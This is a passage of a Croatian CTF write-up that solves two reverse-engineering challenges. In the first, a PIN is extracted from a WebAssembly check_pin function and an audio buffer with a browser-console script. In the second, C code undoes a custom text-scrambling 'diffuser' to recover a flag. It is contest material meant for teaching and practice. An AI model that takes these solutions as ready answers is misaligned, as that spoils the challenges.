i32.eqz br_if $label1 local.get $var1 i32.const 0 i32.store offset=8 local.get $var1 i64.const 0 i64.store i32.const 0 local.set $var2 i32.const 100 local.set $var4 loop $label3 local.get $var2 local.set $var5 i32.const 0 local.set $var2 i32.const 0 local.set $var6 local.get $var4 local.tee $var7 local.set $var4 loop $label2 local.get $var2 i32.const 1 i32.add local.tee $var8 local.set $var2 local.get $var3 local.get $var4 local.tee $var4 i32.add i32.load8_u i32.const 1 i32.and local.get $var6 i32.const 1 i32.shl i32.or local.tee $var9 local.set $var6 local.get $var4 i32.const 4 i32.add local.set $var4 local.get $var8 i32.const 8 i32.ne br_if $label2 end $label2 local.get $var1 local.get $var5 i32.add local.get $var9 i32.store8 local.get $var5 i32.const 1 i32.add local.tee $var6 local.set $var2 local.get $var7 i32.const 32 i32.add local.set $var4 local.get $var6 i32.const 12 i32.ne br_if $label3 end $label3 i32.const 0 i32.load8_u offset=1032 i32.const -7 i32.add local.tee $var2 local.get $var2 i32.mul i32.const 100 i32.mul i32.const 66 i32.add i32.const 255 i32.and local.set $var8 i32.const 0 local.set $var2 block $label5 block $label4 loop $label6 local.get $var0 local.get $var2 local.tee $var2 i32.add i32.load8_u local.tee $var6 i32.const -58 i32.add i32.const 255 i32.and i32.const 246 i32.lt_u br_if $label4 local.get $var6 i32.const 255 i32.and local.get $var8 local.get $var1 local.get $var2 i32.add i32.load8_u i32.xor i32.ne br_if $label4 local.get $var2 i32.const 1 i32.add local.tee $var6 local.set $var2 i32.const 1 local.set $var4 local.get $var6 i32.const 12 i32.eq br_if $label5 br $label6 end $label6 end $label4 i32.const 0 local.set $var4 end $label5 local.get $var4 local.set $var2 end $label1 local.get $var1 i32.const 16 i32.add global.set $__stack_pointer local.get $var2 ) ===Ranjivost i ideja napada=== Korištenjem alata wasm2c dobije se izvorni kod check_pin funkcije: u32 w2c__check_pin_0(w2c_* instance, u32 var_p0) { u32 var_l1 = 0, var_l2 = 0, var_l3 = 0, var_l4 = 0, var_l5 = 0, var_l6 = 0, var_l7 = 0, var_l8 = 0, var_l9 = 0; FUNC_PROLOGUE; uint8_t* const wasm_rt_local_memory_base = (&instance->w2c_memory)->data; uint64_t wasm_rt_local_memory_size = (&instance->w2c_memory)->size; (void)wasm_rt_local_memory_base; (void)wasm_rt_local_memory_size; u32 var_i0, var_i1, var_i2, var_i3; u64 var_j1; var_i0 = instance->w2c_0x5F_stack_pointer; var_i1 = 16u; var_i0 -= var_i1; var_l1 = var_i0; instance->w2c_0x5F_stack_pointer = var_i0; var_i0 = var_p0; var_i0 = w2c__strlen(instance, var_i0); wasm_rt_local_memory_size = (&instance->w2c_memory)->size; var_i1 = 12u; var_i0 = var_i0 == var_i1; if (var_i0) {goto var_B1;} var_i0 = 0u; var_l2 = var_i0; goto var_B0; var_B1:; var_i0 = 0u; var_l2 = var_i0; var_i0 = 0u; var_i0 = i32_load_default32(wasm_rt_local_memory_base, wasm_rt_local_memory_size, &instance->w2c_memory, (u64)(var_i0) + 1040u); var_l3 = var_i0; var_i0 = !(var_i0); if (var_i0) {goto var_B0;} var_i0 = var_l1; var_i1 = 0u; i32_store_default32(wasm_rt_local_memory_base, wasm_rt_local_memory_size, &instance->w2c_memory, (u64)(var_i0) + 8u, var_i1); var_i0 = var_l1; var_j1 = 0ull; i64_store_default32(wasm_rt_local_memory_base, wasm_rt_local_memory_size, &instance->w2c_memory, (u64)(var_i0), var_j1); var_i0 = 0u; var_l2 = var_i0; var_i0 = 100u; var_l4 = var_i0; var_L2: var_i0 = var_l2; var_l5 = var_i0; var_i0 = 0u; var_l2 = var_i0; var_i0 = 0u; var_l6 = var_i0; var_i0 = var_l4; var_l7 = var_i0; var_l4 = var_i0; var_L3: var_i0 = var_l2; var_i1 = 1u; var_i0 += var_i1; var_l8 = var_i0; var_l2 = var_i0; var_i0 = var_l3; var_i1 = var_l4; var_l4 = var_i1; var_i0 += var_i1; var_i0 = i32_load8_u_default32(wasm_rt_local_memory_base, wasm_rt_local_memory_size, &instance->w2c_memory, (u64)(var_i0)); var_i1 = 1u; var_i0 &= var_i1; var_i1 = var_l6; var_i2 = 1u; var_i1 <<= (var_i2 & 31); var_i0 |= var_i1; var_l9 = var_i0; var_l6 = var_i0; var_i0 = var_l4; var_i1 = 4u; var_i0 += var_i1; var_l4 = var_i0; var_i0 = var_l8; var_i1 = 8u; var_i0 = var_i0 != var_i1; if (var_i0) {goto var_L3;} var_i0 = var_l1; var_i1 = var_l5; var_i0 += var_i1; var_i1 = var_l9; i32_store8_default32(wasm_rt_local_memory_base, wasm_rt_local_memory_size, &instance->w2c_memory, (u64)(var_i0), var_i1); var_i0 = var_l5; var_i1 = 1u; var_i0 += var_i1; var_l6 = var_i0; var_l2 = var_i0; var_i0 = var_l7; var_i1 = 32u; var_i0 += var_i1; var_l4 = var_i0; var_i0 = var_l6; var_i1 = 12u; var_i0 = var_i0 != var_i1; if (var_i0) {goto var_L2;} var_i0 = 0u; var_i0 = i32_load8_u_default32(wasm_rt_local_memory_base, wasm_rt_local_memory_size, &instance->w2c_memory, (u64)(var_i0) + 1032u); var_i1 = 4294967289u; var_i0 += var_i1; var_l2 = var_i0; var_i1 = var_l2; var_i0 *= var_i1; var_i1 = 100u; var_i0 *= var_i1; var_i1 = 66u; var_i0 += var_i1; var_i1 = 255u; var_i0 &= var_i1; var_l8 = var_i0; var_i0 = 0u; var_l2 = var_i0; var_L6: var_i0 = var_p0; var_i1 = var_l2; var_l2 = var_i1; var_i0 += var_i1; var_i0 = i32_load8_u_default32(wasm_rt_local_memory_base, wasm_rt_local_memory_size, &instance->w2c_memory, (u64)(var_i0)); var_l6 = var_i0; var_i1 = 4294967238u; var_i0 += var_i1; var_i1 = 255u; var_i0 &= var_i1; var_i1 = 246u; var_i0 = var_i0 < var_i1; if (var_i0) {goto var_B5;} var_i0 = var_l6; var_i1 = 255u; var_i0 &= var_i1; var_i1 = var_l8; var_i2 = var_l1; var_i3 = var_l2; var_i2 += var_i3; var_i2 = i32_load8_u_default32(wasm_rt_local_memory_base, wasm_rt_local_memory_size, &instance->w2c_memory, (u64)(var_i2)); var_i1 ^= var_i2; var_i0 = var_i0 != var_i1; if (var_i0) {goto var_B5;} var_i0 = var_l2; var_i1 = 1u; var_i0 += var_i1; var_l6 = var_i0; var_l2 = var_i0; var_i0 = 1u; var_l4 = var_i0; var_i0 = var_l6; var_i1 = 12u; var_i0 = var_i0 == var_i1; if (var_i0) {goto var_B4;} goto var_L6; var_B5:; var_i0 = 0u; var_l4 = var_i0; var_B4:; var_i0 = var_l4; var_l2 = var_i0; var_B0:; var_i0 = var_l1; var_i1 = 16u; var_i0 += var_i1; instance->w2c_0x5F_stack_pointer = var_i0; var_i0 = var_l2; FUNC_EPILOGUE; return var_i0; } Funkcija check_pin provjerava 12-znamenkasti PIN i traži da su ispunjena dva uvjeta istovremeno: 1. Iz audio buffera se čita najmanje značajan bit svakog 4. bajta, počevši od offseta 100. Tako se skupi 96 bitova koji daju 12 tajnih bajtova. 2. Očekivani znak računa se kao: ''expected[i] = secret[i] XOR (0x42 + (score − 7)**2 * 100)''. Kad je score točno 7, diff = 0, pa je ključ samo 0x42 i PIN je ''secret[i] ^ 0x42''. Za bilo koji drugi score ključ se mijenja, pa očekivani znakovi nisu znamenke. Dakle, da bi funkcija vratila 1, mora se dekodirati skriveni sadržaj iz audio datoteke i imati točno 7 bodova. ===Rješenje=== (() => { const M = Module; const H = () => window.HEAPU8; const pinAt = base => { const h = H(), s = new Uint8Array(12); let o = base + 100; if (o + 384 >= h.length) return null; for (let i = 0; i < 12; i++) for (let k = 0; k < 8; k++, o += 4) s[i] = (s[i] << 1) | (h[o] & 1); const pin = [...s].map(x => String.fromCharCode(x ^ 0x42)).join(""); return /^[0-9]{12}$/.test(pin) ? pin : null; }; const test = pin => { M._reset_game_state(); for (let i = 0; i < 7; i++) M._increase_score(); const p = M._malloc(13); window.HEAPU8.set(new TextEncoder().encode(pin + "\0"), p); const ok = M._check_pin(p); M._free(p); return ok === 1; }; const h = H(); for (let base = 0; base < Math.min(h.length - 600, 4e6); base += 4) { const pin = pinAt(base); if (pin && test(pin)) return console.log("FOUND:", pin, "at base", base); } })(); ====Text Diffuser==== Text difuzor i difuzirani flag, možete li ga refuzirati? ===Kontekst zadatka=== Dane su binarna datoteka diffusor i flag_dif.txt. Flag_dif.txt sadrži nasumične znakove. Binarni difuzor radi iduće: 1. Učitavanje i priprema Učitava datoteku zadanu argumentom i smješta njezin sadržaj u pravokutnu matricu (M × M), dopunjenu razmacima i znakovima novog retka. Dimenzija M izračunava se iz najveće širine retka i broja redaka. 2. Generiranje ključa (invarijantni histogram) Broji znakove u "invarijantne koševe": 7 binova za ASCII raspon 33–123 (modulo 7), plus posebno za razmake, nove retke i ostale znakove. Iz tog histograma izračunava deterministički RNG seed, ključ ovisi samo o invarijantama, ne o konkretnom rasporedu znakova. 3. Difuzijska petlja (15 iteracija) U svakoj iteraciji izvodi velik broj zamjena vođenih pseudoslučajnim brojevima. Koristi Feistelovu logiku hemisfere: odabire se nasumična ćelija (Obs_Idx), a zatim se određuje partner za zamjenu (B) na temelju njezine vrijednosti (ASCII fazni pomak). Ključna je invarijantna modulo mutacija: pri svakoj zamjeni znakovi se ne samo zamjenjuju, već i pomiču za višekratnik broja 7 unutar raspona 33–123. Time se čuva histogram po modulu 7, pa ključ ostaje isti, ali se sadržaj mijenja. ===Ranjivost i ideja napada=== Svaki pojedini korak naprijed je reverzibilan: zamjena je sama sebi inverz, a modulo pomak se poništava pomakom suprotnog predznaka. Dekripcija zato ne treba "isto polje zamjena primijenjeno obrnuto", dovoljno je da se svaki korak izvede s obrnutim predznakom i u obrnutom redoslijedu. 1. Isti ključ u oba smjera Ključ (rng_seed_base) računa se iz invarijantnog histograma. Histogram se ne mijenja zamjenama (samo se preuređuju znakovi), a modulo pomaci su višekratnici broja 7 unutar raspona 91 = 13·7, pa se modulo-7 binovi čuvaju. Zato je ključ identičan i pri difuziji i pri dekripciji. 2. PRNG tok je isti, ali partner B nije unaprijed fiksiran U apply_diffusion_permutation za iteraciju i generira se P_array iz seeda + i. Iz svakog P1 izračuna se A (pozicija), a iz P2 i vrijednosti ćelije Obs_Idx (obs_val) računaju se smjer i udaljenost do partnera B. Budući da obs_val ovisi o trenutnom sadržaju buffera, polje (A, B) parova nije isto naprijed i unatrag, mijenja se kako se buffer mijenja. 3. Naprijed: iteracije 1 - 15, zamjene 0 s N−1, direction = +1 Modulo pomak ide u jednom smjeru (total_shift = offset · 7 · mutation_sign · (+1)). 4. Unatrag: iteracije 15 - 1, zamjene N−1 s 0, direction = −1 Koristi se isti P_array (isti seed, isti i), ista formula za A, ali se B računa iz trenutnog, djelomično vraćenog stanja buffera. Modulo pomak ide u suprotnom smjeru (total_shift = offset · 7 · mutation_sign · (−1)), što poništava odgovarajući pomak naprijed. Obrnuti redoslijed (i iteracija i zamjena) osigurava da se svaki korak poništi točno na mjestu gdje je primijenjen. ===Rješenje=== #include #include #include #define PADDING_CHAR ' ' #define SWAP_MULTIPLIER 20 #define MODULO_INVARIANT 7 #define USABLE_ASCII_RANGE 91 int main(int argc, char *argv[]) { if (argc != 3) return 1; FILE *fp = fopen(argv[1], "rb"); if (!fp) return 1; fseek(fp, 0, SEEK_END); long long file_size = ftell(fp); fseek(fp, 0, SEEK_SET); char *raw = (char*)malloc(file_size + 1); if (!raw) { fclose(fp); return 1; } fread(raw, 1, file_size, fp); raw[file_size] = '\0'; fclose(fp); long long max_W = 0, lines = 0, current_W = 0; for (long long i = 0; i < file_size; ++i) { if (raw[i] == '\n') { if (current_W > max_W) max_W = current_W; current_W = 0; lines++; } else current_W++; } if (current_W > 0) { if (current_W > max_W) max_W = current_W; lines++; } long long M = (max_W > lines) ? max_W : lines; if (M < 2) M = 2; long long permutation_space_size = M * (M + 1); long long row_len = M + 1; char *buffer = (char*)malloc(permutation_space_size); for (long long r = 0; r < M; ++r) { for (long long c = 0; c < M; ++c) buffer[r * row_len + c] = PADDING_CHAR; buffer[r * row_len + M] = '\n'; } long long raw_idx = 0, r = 0, c = 0; while (raw_idx < file_size) { if (raw[raw_idx] == '\n') { r++; c = 0; } else { buffer[r * row_len + c] = raw[raw_idx]; c++; } raw_idx++; } free(raw); long long invariant_histogram[10]; memset(invariant_histogram, 0, sizeof(invariant_histogram)); for (long long i = 0; i < permutation_space_size; ++i) { unsigned char ch = (unsigned char)buffer[i]; if (ch == PADDING_CHAR) invariant_histogram[7]++; else if (ch == '\n') invariant_histogram[8]++; else if (ch >= 33 && ch < 33 + USABLE_ASCII_RANGE) { int bin = (ch - 33) % MODULO_INVARIANT; invariant_histogram[bin]++; } else invariant_histogram[9]++; } unsigned long long rng_seed_base = 0; for (int i = 0; i < 10; ++i) rng_seed_base = (rng_seed_base * 31 + invariant_histogram[i]); rng_seed_base = (rng_seed_base * 31 + permutation_space_size); rng_seed_base = (rng_seed_base * 31 + M); if (rng_seed_base == 0) rng_seed_base = 1; int num_states_to_advance = 15; long long total_cells = permutation_space_size; long long N_swaps = total_cells * SWAP_MULTIPLIER; unsigned long long *P_array = (unsigned long long*)malloc(sizeof(unsigned long long) * N_swaps * 2); if (!P_array) { free(buffer); return 1; } for (int iteration_num = num_states_to_advance; iteration_num >= 1; --iteration_num) { unsigned long long current_prng_state = rng_seed_base + iteration_num; if (current_prng_state == 0) current_prng_state = 1; for (long long k = 0; k < N_swaps * 2; ++k) { if (current_prng_state == 0) current_prng_state = 1; current_prng_state = (current_prng_state * 1664525UL + 1013904223UL) & 0xFFFFFFFFUL; P_array[k] = current_prng_state; } int mutation_sign = (iteration_num % 2 == 0) ? 1 : -1; for (long long k = N_swaps - 1; k >= 0; --k) { unsigned long long P1 = P_array[k * 2]; unsigned long long P2 = P_array[k * 2 + 1]; long long A = P1 % total_cells; long long row_A = A / row_len; long long col_A = A % row_len; int is_A_left = (col_A < M / 2); long long obs_col; if (is_A_left) obs_col = M / 2 + ((P1 / total_cells) % (M - M / 2)); else obs_col = (P1 / total_cells) % (M / 2); long long obs_row = (P1 / (total_cells * M)) % M; long long Obs_Idx = (obs_row * row_len) + obs_col; unsigned char obs_val = (unsigned char)buffer[Obs_Idx]; int dist_fused = ((P2 % 100) + obs_val) % 100; int dir_fused = (((P2 / 100) % 100) + obs_val) % 100; int D = 1; if (dist_fused < 1) D = 3; else if (dist_fused < 11) D = 2; long long B_row = row_A; long long B_col = col_A; if (dir_fused < 20) B_row -= D; else if (dir_fused < 40) B_col += D; else if (dir_fused < 80) B_row += D; else B_col -= D; if (B_row >= 0 && B_row < M && B_col >= 0 && B_col < M) { long long B = (B_row * row_len) + B_col; if (A != Obs_Idx && B != Obs_Idx) { if (buffer[A] != '\n' && buffer[B] != '\n') { char temp_A = buffer[A]; char temp_B = buffer[B]; int offset = (obs_val % 10) + 1; int total_shift = offset * MODULO_INVARIANT * mutation_sign * (-1); if (temp_A >= 33 && temp_A < 33 + USABLE_ASCII_RANGE) { int val = temp_A - 33; val = (val + total_shift) % USABLE_ASCII_RANGE; if (val < 0) val += USABLE_ASCII_RANGE; temp_A = (char)(val + 33); } if (temp_B >= 33 && temp_B < 33 + USABLE_ASCII_RANGE) { int val = temp_B - 33; val = (val + total_shift) % USABLE_ASCII_RANGE; if (val < 0) val += USABLE_ASCII_RANGE; temp_B = (char)(val + 33); } buffer[A] = temp_B; buffer[B] = temp_A; } } } } } free(P_array); FILE *out = fopen(argv[2], "wb"); if (!out) { free(buffer); return 1; } for (long long r = 0; r < M; ++r) { int is_empty = 1; for (long long c = 0; c < M; ++c) if (buffer[r * row_len + c] != PADDING_CHAR) { is_empty = 0; break; } if (!is_empty) fwrite(&buffer[r * row_len], 1, row_len, out); } fclose(out); free(buffer); return 0; }